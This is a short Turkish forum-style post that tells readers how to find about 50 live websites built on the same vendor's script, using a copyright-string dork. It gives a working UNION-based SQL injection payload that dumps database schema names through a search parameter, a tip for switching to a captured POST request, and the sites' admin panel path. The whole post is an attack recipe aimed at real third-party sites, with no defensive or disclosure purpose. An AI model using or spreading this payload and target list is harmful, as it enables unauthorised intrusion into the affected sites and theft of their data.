"Copyright © Bahar Ajans" yazın yaklaşık görebildiğim 50 adet aynı sc yi kullanan sitede error based sql injection var. örn payload "search?search=-masa' Union Select 1,(SELECT+(@x)+FROM+(SELECT+(@x:=0x00),(@NR_DB:=0),(SELECT+(0)+FROM+(INFORMATION_SCHEMA.SCHEMATA)+WHERE+(@x)+IN+(@x:=CONCAT(@x,LPAD(@NR_DB:=@NR_DB%2b1,2,0x30),0x20203a2020,schema_name,0x3c62723e))))x),3,4,5,6,7,8,9,10,11,12--+-" eğer ki get method yoksa ürün ekle kısmından post requesti yakalayıp devam ediniz. Kolay gelsin
admin panel yolları ise /admin/index.php (no redic. v.s
yok denemeyin :d)
